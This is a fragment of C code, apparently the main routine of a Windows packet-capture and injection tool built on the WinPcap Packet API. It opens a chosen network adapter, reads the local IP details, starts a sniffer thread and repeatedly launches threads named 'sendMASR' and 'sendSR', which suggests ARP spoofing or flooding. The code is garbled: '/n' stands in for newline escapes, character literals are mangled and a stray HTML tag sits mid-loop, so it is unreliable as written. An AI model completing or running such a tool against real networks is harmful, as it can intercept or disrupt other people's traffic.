　　printf("/nLibarary Version: %s",PacketGetVersion()); 
　　adapterlength=sizeof(adaptername); 
　　if(PacketGetAdapterNames((char *)adaptername,&adapterlength)==FALSE) 
　　{ 
　　printf("PacketGetAdapterNames Error: %d/n",GetLastError()); 
　　return -1; 
　　} 
　　 
　　name1=adaptername; 
　　name2=adaptername; 
　　i=0; 
　　while((*name1!=''/0'') || (*(name1-1)!=''/0'')) 
　　{ 
　　if(*name1==''/0'') 
　　{ 
　　memcpy(adapterlist[i],name2,2*(name1-name2)); 
　　name2=name1+1; 
　　i++; 
　　} 
　　name1++; 
　　} 
　　adapternum=i; 
　　printf("/nAdapters Installed:/n"); 
　　for(i=0;i<adapternum;i++)
　　wprintf(L"%d - %s/n",i+1,adapterlist[i]); 
　　do 
　　{ 
　　printf("/nSelect the number of the adapter to open: "); 
　　scanf("%d",&open); 
　　if(open>=1 &&open<=adapternum) <br >　　break; 
　　}while(open<1 || open>adapternum); 
　　lpadapter=PacketOpenAdapter(adapterlist[open-1]); 
　　if(!lpadapter || (lpadapter->hFile==INVALID_HANDLE_VALUE)) 
　　{ 
　　printf("PacketOpenAdapter Error: %d/n",GetLastError()); 
　　return -1; 
　　} 
　　if(PacketGetNetType(lpadapter,&ntype)) 
　　{ 
　　printf("/n/t/t*** Host Information ***/n"); 
　　printf("[LinkTpye:]/t%d/t/t",ntype.LinkType); 
　　printf("[LinkSpeed:]/t%d b/s/n",ntype.LinkSpeed); 
　　} 
　　npflen=sizeof(ipbuff); 
　　if(PacketGetNetInfoEx(adapterlist[open-1],&ipbuff,&npflen)) 
　　{ 
　　sin=*(struct sockaddr_in *)&(ipbuff.Broadcast); 
　　printf("[Broadcast:]/t%.16s/t",inet_ntoa(sin.sin_addr)); 
　　sin=*(struct sockaddr_in *)&(ipbuff.SubnetMask); 
　　printf("[SubnetMask:]/t%.16s/n",inet_ntoa(sin.sin_addr)); 
　　sin=*(struct sockaddr_in *)&(ipbuff.IPAddress); 
　　printf("[IPAddress:]/t%.16s/t",inet_ntoa(sin.sin_addr)); 
　　myip=ntohl(sin.sin_addr.s_addr); 
　　printf("[MACAddress:]"); 
　　} 
　　else 
　　{ 
　　printf("/nNot get enough data/n"); 
　　PacketFreePacket(lppackets); 
　　PacketCloseAdapter(lpadapter); 
　　return -1; 
　　} 
　　if((lppackets=PacketAllocatePacket())==FALSE) 
　　{ 
　　printf("PacketAllocatePacket send Error: %d/n",GetLastError()); 
　　return -1; 
　　} 
　　rthread=CreateThread(NULL,0,sniff,(LPVOID)&opti,0,&threadrid); 
　　Sleep(300); 
　　if(getmine()) 
　　{ 
　　PacketFreePacket(lppackets); 
　　PacketFreePacket(lppacketr); 
　　PacketCloseAdapter(lpadapter); 
　　return -1; 
　　} 
　　Sleep(300); 
　　if((opti==1) || (opti==2)) 
　　{ 
　　for(i=0;i<total;i++)
　　{ 
　　sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&opti,0,&threadsid); 
　　Sleep(30); 
　　} 
　　Sleep(1000); 
　　} 
　　else if((opti==3) || (opti==4)) 
　　{ 
　　sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&opti,0,&threadsid); 
　　Sleep(300); 
　　CloseHandle(sthread); 
　　sthread=CreateThread(NULL,0,sendSR,(LPVOID)&opti,0,&threadsid); 
　　} 
　　WaitForSingleObject(sthread,INFINITE); 
　　CloseHandle(sthread); 
　　CloseHandle(rthread); 
　　if(PacketGetStats(lpadapter,&stat)==FALSE) 
　　{ 
　　printf("Warning: Unable to get the adapter stat/n"); 
　　} 
　　else 
　　{ 
　　printf("/n/n%d packets received, %d packets lost !/n",stat.bs_recv,stat.bs_drop); 
　　} 
　　PacketFreePacket(lppackets); 
　　PacketFreePacket(lppacketr); 
　　PacketCloseAdapter(lpadapter); 
　　return 0; 
　　}